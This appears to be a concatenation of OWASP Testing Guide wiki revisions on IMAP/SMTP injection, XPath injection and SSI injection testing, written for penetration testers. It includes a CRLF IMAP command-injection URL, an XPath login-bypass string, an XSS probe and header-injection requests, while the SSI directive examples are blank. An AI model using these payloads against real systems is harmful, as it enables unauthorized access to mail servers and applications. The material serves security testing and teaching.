This threat affects all those applications that communicate with mail servers (IMAP/SMTP), generally webmail applications. The aim of this test is to verify the capacity to inject arbitrary IMAP/SMTP commands into the mail servers, due to input data not properly sanitized.
 

==Description of the Issue==
The IMAP/SMTP Injection technique is more effective if the mail server is not directly accessible from Internet. Where full communication with the backend mail server is possible, it is recommended to make a direct testing.

An IMAP/SMTP Injection makes it possible to access a mail server which otherwise would not be directly accessible from the Internet. In some cases, these internal systems do not have the same level of infrastructure security and hardening that is applied to the front-end web servers. Therefore, mail server results may be more vulnerable to attacks by end users (see the scheme presented in Figure 1).

<center>[[Image:imap-smtp-injection.png]] 
Figure 1 - Communication with the mail servers using the IMAP/SMTP Injection technique.</center> 

Figure 1 depicts the flow of traffic generally seen when using webmail technologies. Step 1 and 2 is the user interacting with the webmail client, whereas step 2' is the tester bypassing the webmail client and interacting with the back-end mail servers directly.

This technique allows a wide variety of actions and attacks. The possibilities depend on the type and scope of injection and the mail server technology being tested.

Some examples of attacks using the IMAP/SMTP Injection technique are:
* Exploitation of vulnerabilities in the IMAP/SMTP protocol
* Application restrictions evasion
* Anti-automation process evasion
* Information leaks
* Relay/SPAM

== Black Box testing and example ==
The standard attacks pattern are:
* Identifying vulnerable parameters
* Understanding the data flow and deployment structure of the client
* IMAP/SMTP command injection
 
'''Identifying vulnerable parameters'''
----
In order to detect vulnerable parameters requires the tester has to analyse the applications ability in handling input. Input validation testing requires the tester to send bogus, or malicious, requests to the server and analyse the response. In a secure developed application, the response should be an error with some corresponding action telling the client something has gone wrong. In a not secure application the malicious request may be processed by the back-end application that will answer with a "HTTP 200 OK" response message.

It is important to notice that the requests being sent should match the technology being tested. Sending SQL injection strings for Microsoft SQL server when a MySQL server is being used will result in false positive responses. In this case, sending malicious IMAP commands is modus operandi since IMAP is the underlying protocol being tested.

IMAP special parameters that should be used are:
{| border=1
|| '''On the IMAP server''' || '''On the SMTP server'''
|-
|| Authentication || Emissor e-mail
|-
|| operations with mail boxes (list, read, create, delete, rename) || Destination e-mail
|-
|| operations with messages (read, copy, move, delete) || Subject
|-
|-
|| Disconnection || Message body
|-
|-
|| || Attached files
|-
|}

In this testing example, the "mailbox" parameter is being tested by manipulating all requests with the parameter in:
<pre>
http://<webmail>/src/read_body.php?mailbox=INBOX&passed_id=46106&startMessage=1
</pre>
The following examples can be used.
* Left the parameter with a null value: 
<pre>
http://<webmail>/src/read_body.php?mailbox=&passed_id=46106&startMessage=1
</pre>
* Substitute the value with a random value: 
<pre>
http://<webmail>/src/read_body.php?mailbox=NOTEXIST&passed_id=46106&startMessage=1
</pre>
* Add other values to the parameter: 
<pre>
http://<webmail>/src/read_body.php?mailbox=INBOX PARAMETER2&passed_id=46106&startMessage=1
</pre>
* Add non standard special characters (i.e.: \, ', ", @, #, !, |): 
<pre>
http://<webmail>/src/read_body.php?mailbox=INBOX"&passed_id=46106&startMessage=1
</pre>
* Eliminate the parameter: 
<pre>
http://<webmail>/src/read_body.php?passed_id=46106&startMessage=1
</pre>

The final result of the above testing gives the tester three possible situations: 
S1 - The application returns a error code/message 
S2 - The application does not return an error code/message, but it does not realize the requested operation 
S3 - The application does not return an error code/message and realizes the operation requested normally 

Situations S1 and S2 represent sucessful IMAP/SMTP injection.

An attacker's aim is receiving the S1 response as its an indicator that the application is vulnerable to injection and further manipulation.

Let's suppose that a user visualizes the email headers across the following HTTP request:
<pre>
http://<webmail>/src/view_header.php?mailbox=INBOX&passed_id=46105&passed_ent_id=0
</pre>

An attacker might modify the value of the parameter INBOX by injecting the character " (%22 using URL encoding):
<pre>
http://<webmail>/src/view_header.php?mailbox=INBOX%22&passed_id=46105&passed_ent_id=0
</pre>

In this case the application answer will be:
<pre>
ERROR: Bad or malformed request.
Query: SELECT "INBOX""
Server responded: Unexpected extra arguments to Select
</pre>

S2 is a harder testing technique to sucessfully execute. The tester needs to use blind command injection in order to determine if the server is vulnerable.

On the other hand, the last scene (S3) does not have relevancy in this paragraph.
 
'''Result Expected:''' 
* List of vulnerable parameters
* Affected functionality
* Type of possible injection (IMAP/SMTP)
 
'''Understanding the data flow and deployment structure of the client'''
----
After having identifying all vulnerable parameters (for example, "passed_id"), the tester needs to determine what level of injection is possible and then draw up a testing plan to further exploit the application.

In this test case, we have detected that the application's "passed_id" is vulnerable and used in the following request:
<pre>
http://<webmail>/src/read_body.php?mailbox=INBOX&passed_id=46225&startMessage=1
</pre>

Using the following test case (to use an alphabetical value when a numerical value is required):
<pre>
http://<webmail>/src/read_body.php?mailbox=INBOX&passed_id=test&startMessage=1
</pre>

will generate the following error message:
<pre>
ERROR : Bad or malformed request.
Query: FETCH test:test BODY[HEADER]
Server responded: Error in IMAP command received by server.
</pre>

In the previous example, the other error message returned the name of the executed command and the associate parameters.

In other situations, the error message ("not controlled" by the application) contains the name of the executed command, but reading the suitable RFC (see "Reference" paragraph) allows the tester understand what other possible commands can be executed.

If the application does not return descriptive error messages, the tester needs to analyze the affected functionality to understand possible deduce all possible commands (and parameters) associated with the above mentioned functionality. For example, if the detection of the vulnerable parameter has been realized trying to create a mailbox, it turns out logical to think that the IMAP command affected will be "CREATE" and, according to the RFC, it contains a only parameter which value corresponds to the mailbox name that is expected to create.
 
'''Result Expected:''' 
* List of IMAP/SMTP commands affected
* Type, value and number of parameters waited by the affected IMAP/SMTP commands
 
'''IMAP/SMTP command injection'''
----
Once the tester has identified vulnerable parameters and has analyzed the context in which it is executed, the next stage is exploiting the functionality.

This stage has two possible outcomes: 
1. The injection is possible in an unauthenticated state: the affected functionality does not require the user to be authenticated. The injected (IMAP) commands available are limited to: CAPABILITY, NOOP, AUTHENTICATE, LOGIN and LOGOUT. 
2. The injection is only possible in an authenticated state: the sucessful exploitation requires the user to be fully authentication before testing can continue

In any case, the typical structure of an IMAP/SMTP Injection is as follows:
* Header: ending of the expected command;
* Body: injection of the new command;
* Footer: beginning of the expected command.

It is important to state that in order to execute the IMAP/SMTP command, the previous one must have finished with the CRLF (%0d%0a) sequence.
Let's suppose that in the stage 1 ("Identifying vulnerable parameters"), the attacker detects the parameter "message_id" of the following request as a vulnerable parameter:
<pre>
http://<webmail>/read_email.php?message_id=4791
</pre>

Let's suppose also that the outcome of the analysis performed in the stage 2 ("Understanding the data flow and deployment structure of the client
") has identified the command and arguments associated with this parameter:
<pre>
FETCH 4791 BODY[HEADER]
</pre>

In this scene, the IMAP injection structure would be:
<pre>
http://<webmail>/read_email.php?message_id=4791 BODY[HEADER]%0d%0aV100 CAPABILITY%0d%0aV101 FETCH 4791
</pre>

Which would generate the following commands:
<pre>
???? FETCH 4791 BODY[HEADER]
V100 CAPABILITY
V101 FETCH 4791 BODY[HEADER]
</pre>

where:
<pre>
Header = 4791 BODY[HEADER]
Body = %0d%0aV100 CAPABILITY%0d%0a
Footer = V101 FETCH 4791
</pre>
 
'''Result Expected:''' 
* Arbitrary IMAP/SMTP command injection
 

== References ==
'''Whitepapers''' 
* RFC 0821 “Simple Mail Transfer Protocol”.
* RFC 3501 “Internet Message Access Protocol - Version 4rev1”.
* Vicente Aguilera Díaz: “MX Injection: Capturing and Exploiting Hidden Mail Servers" - http://www.webappsec.org/projects/articles/121106.pdf

{{Category:OWASP Testing Project AoC}}

Testing for XPath Injection (OTG-INPVAL-010)

2008-08-23T07:07:49Z

Marco: /* Black Box testing and example */

[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]] 
{{Template:OWASP Testing Guide v2}}

== Brief Summary ==
XPath is a language that has been designed and developed primarily to address parts of an XML document. In XPath injection testing, we test if it is possible to inject data into an application so that it executes user-controlled XPath queries. When successfully exploited, this vulnerability may allow an attacker to bypass authentication mechanisms or access information without proper authorization. 

== Short Description of the Issue ==
Web applications heavily use databases to store and access the data they need for their operations. Historically, relational databases have been by far the most common technology for data storage, but, in the last years, we are witnessing an increasing popularity for databases that organize data using the XML language. Just like relational databases are accessed via SQL language, XML databases use XPath as their standard query language. Since, from a conceptual point of view, XPath is very similar to SQL in its purpose and applications, an interesting result is that XPath injection attacks follow the same logic of SQL Injection attacks. In some aspects, XPath is even more powerful than standard SQL, as its whole power is already present in its specifications, whereas a large number of the techniques that can be used in a SQL Injection attack depend on the peculiarities of the SQL dialect used by the target database. This means that XPath injection attacks can be much more adaptable and ubiquitous. Another advantage of an XPath injection attack is that, unlike SQL, no ACLs are enforced, as our query can access every part of the XML document. 

== Black Box testing and example ==
The XPAth attack pattern was first published by Amit Klein [1] and is very similar to the usual SQL Injection. In order to get a first grasp of the problem, let's imagine a login page that manages the authentication to an application in which the user must enter his/her username and password. Let's assume that our database is represented by the following xml file:
<pre>
<?xml version="1.0" encoding="ISO-8859-1"?>
<users>
<user>
<username>gandalf</username>
<password>!c3</password>
<account>admin</account>
</user>
<user>
<username>Stefan0</username>
<password>w1s3c</password>
<account>guest</account>
</user>
<user>
<username>tony</username>
<password>Un6R34kb!e</password>
<account>guest</account>
</user>
</users>
</pre>
An XPath query that returns the account whose username is "gandalf" and the password is "!c3" would be the following:
<pre>
string(//user[username/text()='gandalf' and
password/text()='!c3']/account/text())
</pre>
If the application does not properly filter user input, the tester will be able to inject XPath code and interfere with the query result. For instance, the tester could input the following values:
<pre>
Username: ' or '1' = '1
Password: ' or '1' = '1
</pre>
Looks quite familiar, doesn't it?
Using these parameters, the query becomes:
<pre>
string(//user[username/text()='' or '1' = '1' and password/text()='' or '1' = '1']/account/text())
</pre>
As in a common SQL Injection attack, we have created a query that always evaluates to true, which means that the application will authenticate the user even if a username or a password have not been provided.

And as in a common SQL Injection attack, also in the case of XPath injection, the first step is to insert a single quote (') in the field to be tested, introducing a syntax error in the query, and to check whether the application returns an error message.

If there is no knowledge about the XML data internal details and if the application does not provide useful error messages that help us in reconstruct its internal logic, it is possible to perform a [[Blind XPath Injection]] attack, whose goal is to reconstruct the whole data structure. The technique is similar to inference based SQL Injection, as the approach is to inject code that creates a query that returns one bit of information. [[Blind XPath Injection]] is explained in more detail by Amit Klein in the referenced paper.
 

== References ==
'''Whitepapers''' 
* [1] Amit Klein: "Blind XPath Injection" - https://www.watchfire.com/securearea/whitepapers.aspx?id=9
* [2] XPath 1.0 specifications - http://www.w3.org/TR/xpath
 

{{Category:OWASP Testing Project AoC}}

Testing for XPath Injection (OTG-INPVAL-010)

2008-08-23T07:05:00Z

Marco: /* Short Description of the Issue */

[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]] 
{{Template:OWASP Testing Guide v2}}

== Brief Summary ==
XPath is a language that has been designed and developed primarily to address parts of an XML document. In XPath injection testing, we test if it is possible to inject data into an application so that it executes user-controlled XPath queries. When successfully exploited, this vulnerability may allow an attacker to bypass authentication mechanisms or access information without proper authorization. 

== Short Description of the Issue ==
Web applications heavily use databases to store and access the data they need for their operations. Historically, relational databases have been by far the most common technology for data storage, but, in the last years, we are witnessing an increasing popularity for databases that organize data using the XML language. Just like relational databases are accessed via SQL language, XML databases use XPath as their standard query language. Since, from a conceptual point of view, XPath is very similar to SQL in its purpose and applications, an interesting result is that XPath injection attacks follow the same logic of SQL Injection attacks. In some aspects, XPath is even more powerful than standard SQL, as its whole power is already present in its specifications, whereas a large number of the techniques that can be used in a SQL Injection attack depend on the peculiarities of the SQL dialect used by the target database. This means that XPath injection attacks can be much more adaptable and ubiquitous. Another advantage of an XPath injection attack is that, unlike SQL, no ACLs are enforced, as our query can access every part of the XML document. 

== Black Box testing and example ==
The XPAth attack pattern was first published by Amit Klein [1] and is very similar to the usual SQL Injection. In order to get a first grasp of the problem, let's imagine a login page that manages the authentication to an application in which the user must enter his/her username and password. Let's assume that our database is represented by the following xml file:
<pre>
<?xml version="1.0" encoding="ISO-8859-1"?>
<users>
<user>
<username>gandalf</username>
<password>!c3</password>
<account>admin</account>
</user>
<user>
<username>Stefan0</username>
<password>w1s3c</password>
<account>guest</account>
</user>
<user>
<username>tony</username>
<password>Un6R34kb!e</password>
<account>guest</account>
</user>
</users>
</pre>
An XPath query that returns the account whose username is "gandalf" and the password is "!c3" would be the following:
<pre>
string(//user[username/text()='gandalf' and
password/text()='!c3']/account/text())
</pre>
If the application does not properly filter such input, the tester will be able to inject XPath code and interfere with the query result. For instance, the tester could input the following values:
<pre>
Username: ' or '1' = '1
Password: ' or '1' = '1
</pre>
Looks quite familiar, doesn't it?
Using these parameters, the query becomes:
<pre>
string(//user[username/text()='' or '1' = '1' and password/text()='' or '1' = '1']/account/text())
</pre>
As in a common SQL Injection attack, we have created a query that is always evaluated as true, which means that the application will authenticate the user even if a username or a password have not been provided.

And as in a common SQL Injection attack, also in the case of XPath inhection the first step is to insert a single quote (') in the field to be tested, introducing a syntax error in the query and check whether the application returns an error message.

If there is no knowledge about the XML data internal details and if the application does not provide useful error messages that help us in reconstruct its internal logic, it is possible to perform a [[Blind XPath Injection]] attack whose goal is to reconstruct the whole data structure. The technique is similar to inference based SQL Injection, as the approach is to inject code that creates a query that returns one bit of information. [[Blind XPath Injection]] is explained in more detail by Amit Klein in the referenced paper.
 

== References ==
'''Whitepapers''' 
* [1] Amit Klein: "Blind XPath Injection" - https://www.watchfire.com/securearea/whitepapers.aspx?id=9
* [2] XPath 1.0 specifications - http://www.w3.org/TR/xpath
 

{{Category:OWASP Testing Project AoC}}

Testing for XPath Injection (OTG-INPVAL-010)

2008-08-23T07:01:09Z

Marco:

[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]] 
{{Template:OWASP Testing Guide v2}}

== Brief Summary ==
XPath is a language that has been designed and developed primarily to address parts of an XML document. In XPath injection testing, we test if it is possible to inject data into an application so that it executes user-controlled XPath queries. When successfully exploited, this vulnerability may allow an attacker to bypass authentication mechanisms or access information without proper authorization. 

== Short Description of the Issue ==
Web applications heavily use databases to store and access the data they need for their operations. Since the dawn of the Internet, relational databases have been by far the most common paradigm, but in the last years we are witnessing an increasing popularity for databases that organize data using the XML language. Just like relational databases are accessed via SQL language, XML databases use XPath, which is their standard interrogation language. Since from a conceptual point of view, XPath is very similar to SQL in its purpose and applications, an interesting result is that also XPath injection attacks follow the same logic of SQL Injection ones. In some aspects, XPath is even more powerful than standard SQL, as its whole power is already present in its specifications, whereas a large slice of the techniques that can be used in a SQL Injection attack leverages the peculiarities of the SQL dialect used by the target database. This means that XPath injection attacks can be much more adaptable and ubiquitous. Another advantage of an XPath injection attack is that, unlike SQL, there are not ACLs enforced, as our query can access every part of the XML document. 

== Black Box testing and example ==
The XPAth attack pattern was first published by Amit Klein [1] and is very similar to the usual SQL Injection. In order to get a first grasp of the problem, let's imagine a login page that manages the authentication to an application in which the user must enter his/her username and password. Let's assume that our database is represented by the following xml file:
<pre>
<?xml version="1.0" encoding="ISO-8859-1"?>
<users>
<user>
<username>gandalf</username>
<password>!c3</password>
<account>admin</account>
</user>
<user>
<username>Stefan0</username>
<password>w1s3c</password>
<account>guest</account>
</user>
<user>
<username>tony</username>
<password>Un6R34kb!e</password>
<account>guest</account>
</user>
</users>
</pre>
An XPath query that returns the account whose username is "gandalf" and the password is "!c3" would be the following:
<pre>
string(//user[username/text()='gandalf' and
password/text()='!c3']/account/text())
</pre>
If the application does not properly filter such input, the tester will be able to inject XPath code and interfere with the query result. For instance, the tester could input the following values:
<pre>
Username: ' or '1' = '1
Password: ' or '1' = '1
</pre>
Looks quite familiar, doesn't it?
Using these parameters, the query becomes:
<pre>
string(//user[username/text()='' or '1' = '1' and password/text()='' or '1' = '1']/account/text())
</pre>
As in a common SQL Injection attack, we have created a query that is always evaluated as true, which means that the application will authenticate the user even if a username or a password have not been provided.

And as in a common SQL Injection attack, also in the case of XPath inhection the first step is to insert a single quote (') in the field to be tested, introducing a syntax error in the query and check whether the application returns an error message.

If there is no knowledge about the XML data internal details and if the application does not provide useful error messages that help us in reconstruct its internal logic, it is possible to perform a [[Blind XPath Injection]] attack whose goal is to reconstruct the whole data structure. The technique is similar to inference based SQL Injection, as the approach is to inject code that creates a query that returns one bit of information. [[Blind XPath Injection]] is explained in more detail by Amit Klein in the referenced paper.
 

== References ==
'''Whitepapers''' 
* [1] Amit Klein: "Blind XPath Injection" - https://www.watchfire.com/securearea/whitepapers.aspx?id=9
* [2] XPath 1.0 specifications - http://www.w3.org/TR/xpath
 

{{Category:OWASP Testing Project AoC}}

Testing for SSI Injection (OTG-INPVAL-009)

2008-08-23T07:00:08Z

Marco: /* Gray Box testing and example */

[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]] 
{{Template:OWASP Testing Guide v2}}

== Brief Summary ==

Web servers usually give developers the ability to add small pieces of dynamic code inside static HTML pages, without having to deal with full-fledged server-side or client-side languages. This feature is incarnated by the '''Server-Side Includes''' ('''SSI'''). In SSI injection testing, we test if it is possible to inject into the application data that will be interpreted by SSI mechanisms. A successful exploitation of this vulnerability allows an attacker to inject code into HTML pages or even perform remote code execution.

== Description of the Issue ==

Server-Side Includes are directives that the web server parses before serving the page to the user. They represent an alternative to writing CGI programs or embedding code using server-side scripting languages, when there's only need to perform very simple tasks. Common SSI implementations provide commands to include external files, to set and print web server CGI environment variables, and to execute external CGI scripts or system commands. 

Putting an SSI directive into a static HTML document is as easy as writing a piece of code like the following: 

<pre>

</pre>

to print out the current time. 

<pre>

</pre>

to include the output of a CGI script. 

<pre>

</pre>

to include the content of a file. 

<pre>

</pre>

to include the output of a system command. 

Then, if the web server's SSI support is enabled, the server will parse these directives. In the default configuration, usually, most web servers don't allow the use of the '''''exec''''' directive to execute system commands. 

As in every bad input validation situation, problems arise when the user of a web application is allowed to provide data that makes the application or the web server behave in an unforeseen manner. With regard to SSI injection, the attacker could provide an input that, if inserted by the application (or maybe directly by the server) into a dynamically generated page, would be parsed as one or more SSI directives. 

This is a vulnerability very similar to a classical scripting language injection vulnerability. One mitigation is that the web server needs to be configured to allow SSI. On the other hand, SSI injection vulnerabilities are often simpler to exploit, since SSI directives are easy to understand and, at the same time, quite powerful, e.g., they can output the content of files and execute system commands. 

== Black Box testing ==

The first thing to do when testing in a Black Box fashion is finding if the web server actually supports SSI directives. Often, the answer is yes, as SSI support is quite common. To find out we just need to discover which kind of web server is running on our target, using classical information gathering techniques. 

Whether we succeed or not in discovering this piece of information, we could guess if SSI are supported just by looking at the content of the target web site. If it contains '''''.shtml''''' files, then SSI are probably supported, as this extension is used to identify pages containing these directives. Unfortunately, the use of the '''''shtml''''' extension is not mandatory, so not having found any '''''shtml''''' files doesn't necessarily mean that the target is not prone to SSI injection attacks. 

The next step consists of determining if an SSI injection attack is actually possible and, if so, what are the input points that we can use to inject our malicious code. 
The testing activity required to do this is exactly the same used to test for other code injection vulnerabilities. In particular, we need to find every page where the user is allowed to submit some kind of input and verify whether the application is correctly validating the submitted input. If sanitization is insufficient, we need to test if we can provide data that is going to be displayed unmodified (for example, in an error message or forum post). Besides common user supplied data, input vectors that should always be considered are HTTP request headers and cookies content, since they can be easily forged. 

Once we have a list of potential injection points, we can check if the input is correctly validated and then find out where the provided input is stored. We need to make sure that we can inject characters used in SSI directives: 

<pre>
< ! # = / . " - > and [a-zA-Z0-9]
</pre>

To test if validation is insufficient, we can input, for example, a string like the following in an input form: 

<pre>

</pre>

This is similar to testing for XSS vulnerabilities using 

<pre>
<script>alert("XSS")</script>
</pre>

If the application is vulnerable, the directive is injected and it would be interpreted by the server the next time the page is served, thus including the content of the Unix standard password file. 

The injection can be performed also in HTTP headers, if the web application is going to use that data to build a dynamically generated page: 

<pre>
GET / HTTP/1.0
Referer: 
User-Agent: 
</pre>

== Gray Box testing and example ==

If we have access to the application source code, we can quite easily find out: 
# If SSI directives are used. If they are, then the web server is going to have SSI support enabled, making SSI injection at least a potential issue to investigate. 
# Where user input, cookie content and HTTP headers are handled. The complete list of input vectors is then quickly determined. 
# How the input is handled, what kind of filtering is performed, what characters the application is not letting through and how many types of encoding are taken into account. 

Performing these steps is mostly a matter of using grep, to find the right keywords inside the source code (SSI directives, CGI environment variables, variables assignment involving user input, filtering functions and so on). 

== References ==
'''Whitepapers''' 
* IIS: "Notes on Server-Side Includes (SSI) syntax" - http://support.microsoft.com/kb/203064 
* Apache Tutorial: "Introduction to Server Side Includes" - http://httpd.apache.org/docs/1.3/howto/ssi.html 
* Apache: "Module mod_include" - http://httpd.apache.org/docs/1.3/mod/mod_include.html 
* Apache: "Security Tips for Server Configuration" - http://httpd.apache.org/docs/1.3/misc/security_tips.html#ssi 
* Header Based Exploitation - http://www.cgisecurity.net/papers/header-based-exploitation.txt 
* SSI Injection instead of JavaScript Malware - http://jeremiahgrossman.blogspot.com/2006/08/ssi-injection-instead-of-javascript.html

'''Tools''' 
* Web Proxy Burp Suite - http://portswigger.net
* Paros - http://www.parosproxy.org/index.shtml
* WebScarab - http://www.owasp.org/index.php/OWASP_WebScarab_Project
* String searcher: grep - http://www.gnu.org/software/grep, your favorite text editor

{{Category:OWASP Testing Project AoC}}

Testing for SSI Injection (OTG-INPVAL-009)

2008-08-23T06:57:24Z

Marco: /* Black Box testing */

[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]] 
{{Template:OWASP Testing Guide v2}}

== Brief Summary ==

Web servers usually give developers the ability to add small pieces of dynamic code inside static HTML pages, without having to deal with full-fledged server-side or client-side languages. This feature is incarnated by the '''Server-Side Includes''' ('''SSI'''). In SSI injection testing, we test if it is possible to inject into the application data that will be interpreted by SSI mechanisms. A successful exploitation of this vulnerability allows an attacker to inject code into HTML pages or even perform remote code execution.

== Description of the Issue ==

Server-Side Includes are directives that the web server parses before serving the page to the user. They represent an alternative to writing CGI programs or embedding code using server-side scripting languages, when there's only need to perform very simple tasks. Common SSI implementations provide commands to include external files, to set and print web server CGI environment variables, and to execute external CGI scripts or system commands. 

Putting an SSI directive into a static HTML document is as easy as writing a piece of code like the following: 

<pre>

</pre>

to print out the current time. 

<pre>

</pre>

to include the output of a CGI script. 

<pre>

</pre>

to include the content of a file. 

<pre>

</pre>

to include the output of a system command. 

Then, if the web server's SSI support is enabled, the server will parse these directives. In the default configuration, usually, most web servers don't allow the use of the '''''exec''''' directive to execute system commands. 

As in every bad input validation situation, problems arise when the user of a web application is allowed to provide data that makes the application or the web server behave in an unforeseen manner. With regard to SSI injection, the attacker could provide an input that, if inserted by the application (or maybe directly by the server) into a dynamically generated page, would be parsed as one or more SSI directives. 

This is a vulnerability very similar to a classical scripting language injection vulnerability. One mitigation is that the web server needs to be configured to allow SSI. On the other hand, SSI injection vulnerabilities are often simpler to exploit, since SSI directives are easy to understand and, at the same time, quite powerful, e.g., they can output the content of files and execute system commands. 

== Black Box testing ==

The first thing to do when testing in a Black Box fashion is finding if the web server actually supports SSI directives. Often, the answer is yes, as SSI support is quite common. To find out we just need to discover which kind of web server is running on our target, using classical information gathering techniques. 

Whether we succeed or not in discovering this piece of information, we could guess if SSI are supported just by looking at the content of the target web site. If it contains '''''.shtml''''' files, then SSI are probably supported, as this extension is used to identify pages containing these directives. Unfortunately, the use of the '''''shtml''''' extension is not mandatory, so not having found any '''''shtml''''' files doesn't necessarily mean that the target is not prone to SSI injection attacks. 

The next step consists of determining if an SSI injection attack is actually possible and, if so, what are the input points that we can use to inject our malicious code. 
The testing activity required to do this is exactly the same used to test for other code injection vulnerabilities. In particular, we need to find every page where the user is allowed to submit some kind of input and verify whether the application is correctly validating the submitted input. If sanitization is insufficient, we need to test if we can provide data that is going to be displayed unmodified (for example, in an error message or forum post). Besides common user supplied data, input vectors that should always be considered are HTTP request headers and cookies content, since they can be easily forged. 

Once we have a list of potential injection points, we can check if the input is correctly validated and then find out where the provided input is stored. We need to make sure that we can inject characters used in SSI directives: 

<pre>
< ! # = / . " - > and [a-zA-Z0-9]
</pre>

To test if validation is insufficient, we can input, for example, a string like the following in an input form: 

<pre>

</pre>

This is similar to testing for XSS vulnerabilities using 

<pre>
<script>alert("XSS")</script>
</pre>

If the application is vulnerable, the directive is injected and it would be interpreted by the server the next time the page is served, thus including the content of the Unix standard password file. 

The injection can be performed also in HTTP headers, if the web application is going to use that data to build a dynamically generated page: 

<pre>
GET / HTTP/1.0
Referer: 
User-Agent: 
</pre>

== Gray Box testing and example ==

Being able to review the application source code we can quite easily find out: 
# If SSI directives are used; if they are, then the web server is going to have SSI support enabled, making SSI injection at least a potential issue to investigate; 
# Where user input, cookie content and http headers are handled; the complete input vectors list is then quickly built; 
# How the input is handled, what kind of filtering is performed, what characters the application is not letting through and how many type of encoding are taken into account. 

Performing these steps is mostly a matter of using grep, to find the right keywords inside the source code (SSI directives, CGI environment variables, variables assignment involving user input, filtering functions and so on). 

== References ==
'''Whitepapers''' 
* IIS: "Notes on Server-Side Includes (SSI) syntax" - http://support.microsoft.com/kb/203064 
* Apache Tutorial: "Introduction to Server Side Includes" - http://httpd.apache.org/docs/1.3/howto/ssi.html 
* Apache: "Module mod_include" - http://httpd.apache.org/docs/1.3/mod/mod_include.html 
* Apache: "Security Tips for Server Configuration" - http://httpd.apache.org/docs/1.3/misc/security_tips.html#ssi 
* Header Based Exploitation - http://www.cgisecurity.net/papers/header-based-exploitation.txt 
* SSI Injection instead of JavaScript Malware - http://jeremiahgrossman.blogspot.com/2006/08/ssi-injection-instead-of-javascript.html

'''Tools''' 
* Web Proxy Burp Suite - http://portswigger.net
* Paros - http://www.parosproxy.org/index.shtml
* WebScarab - http://www.owasp.org/index.php/OWASP_WebScarab_Project
* String searcher: grep - http://www.gnu.org/software/grep, your favorite text editor

{{Category:OWASP Testing Project AoC}}

Testing for SSI Injection (OTG-INPVAL-009)

2008-08-23T06:47:22Z

Marco: /* Description of the Issue */

[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]] 
{{Template:OWASP Testing Guide v2}}

== Brief Summary ==

Web servers usually give developers the ability to add small pieces of dynamic code inside static HTML pages, without having to deal with full-fledged server-side or client-side languages. This feature is incarnated by the '''Server-Side Includes''' ('''SSI'''). In SSI injection testing, we test if it is possible to inject into the application data that will be interpreted by SSI mechanisms. A successful exploitation of this vulnerability allows an attacker to inject code into HTML pages or even perform remote code execution.

== Description of the Issue ==

Server-Side Includes are directives that the web server parses before serving the page to the user. They represent an alternative to writing CGI programs or embedding code using server-side scripting languages, when there's only need to perform very simple tasks. Common SSI implementations provide commands to include external files, to set and print web server CGI environment variables, and to execute external CGI scripts or system commands. 

Putting an SSI directive into a static HTML document is as easy as writing a piece of code like the following: 

<pre>

</pre>

to print out the current time. 

<pre>

</pre>

to include the output of a CGI script. 

<pre>

</pre>

to include the content of a file. 

<pre>

</pre>

to include the output of a system command. 

Then, if the web server's SSI support is enabled, the server will parse these directives. In the default configuration, usually, most web servers don't allow the use of the '''''exec''''' directive to execute system commands. 

As in every bad input validation situation, problems arise when the user of a web application is allowed to provide data that makes the application or the web server behave in an unforeseen manner. With regard to SSI injection, the attacker could provide an input that, if inserted by the application (or maybe directly by the server) into a dynamically generated page, would be parsed as one or more SSI directives. 

This is a vulnerability very similar to a classical scripting language injection vulnerability. One mitigation is that the web server needs to be configured to allow SSI. On the other hand, SSI injection vulnerabilities are often simpler to exploit, since SSI directives are easy to understand and, at the same time, quite powerful, e.g., they can output the content of files and execute system commands. 

== Black Box testing ==

The first thing to do when testing in a Black Box fashion is finding if the web server actually support SSI directives. The answer is almost certainly a yes, as SSI support is quite common. To find out we just need to discover which kind of web server is running on our target, using classical information gathering techniques. 

Whether we succeded or not in discovering this piece of information, we could guess if SSI are supported just looking at the content of the target web site we are testing: if it makes use of '''''.shtml''''' file then SSI are probably supported, as this extension is used to identify pages containing these directives. Unfortunately, the use of the '''''shtml''''' extension is not mandatory, so not having found any '''''shtml''''' files doesn't necessarily mean that the target is not prone to SSI injection attacks. 

Let's go to the next step, which is needed not only to find out if an SSI injection attack is really plausible, but also to identify the input points we can use to inject our malicious code. 

In this step the testing activity is exactly the same needed to test for other code injection vulnerabilities. We need to find every page where the user is allowed to submit some kind of input and verify whether the application is correctly validating the submitted input or, otherwise, if we could provide data that is going to be displayed unmodified (as error message, forum post, etc.). Beside common user supplied data, input vectors that are always to be considered are HTTP request headers and cookies content, that can be easily forged. 

Once we have a list of potential injection points, we can check if the input is correctly validated and then find out where in the web site the data we provided are going to be displayed. We need to make sure that we are going to be able to make characters like that used in SSI directives: 

<pre>
< ! # = / . " - > and [a-zA-Z0-9]
</pre>

go through the application and be parsed by the server at some point. 

Exploiting the lack of validation, is as easy as submitting, for example, a string like the following: 

<pre>

</pre>

in a input form, instead of the classical: 

<pre>
<script>alert("XSS")</script>
</pre>

The directive would be then parsed by the server next time it needs to serve the given page, thus including the content of the Unix standard password file. 

The injection can be performed also in HTTP headers, if the web application is going to use that data to build a dynamically generated page: 

<pre>
GET / HTTP/1.0
Referer: 
User-Agent: 
</pre>

== Gray Box testing and example ==

Being able to review the application source code we can quite easily find out: 
# If SSI directives are used; if they are, then the web server is going to have SSI support enabled, making SSI injection at least a potential issue to investigate; 
# Where user input, cookie content and http headers are handled; the complete input vectors list is then quickly built; 
# How the input is handled, what kind of filtering is performed, what characters the application is not letting through and how many type of encoding are taken into account. 

Performing these steps is mostly a matter of using grep, to find the right keywords inside the source code (SSI directives, CGI environment variables, variables assignment involving user input, filtering functions and so on). 

== References ==
'''Whitepapers''' 
* IIS: "Notes on Server-Side Includes (SSI) syntax" - http://support.microsoft.com/kb/203064 
* Apache Tutorial: "Introduction to Server Side Includes" - http://httpd.apache.org/docs/1.3/howto/ssi.html 
* Apache: "Module mod_include" - http://httpd.apache.org/docs/1.3/mod/mod_include.html 
* Apache: "Security Tips for Server Configuration" - http://httpd.apache.org/docs/1.3/misc/security_tips.html#ssi 
* Header Based Exploitation - http://www.cgisecurity.net/papers/header-based-exploitation.txt 
* SSI Injection instead of JavaScript Malware - http://jeremiahgrossman.blogspot.com/2006/08/ssi-injection-instead-of-javascript.html

'''Tools''' 
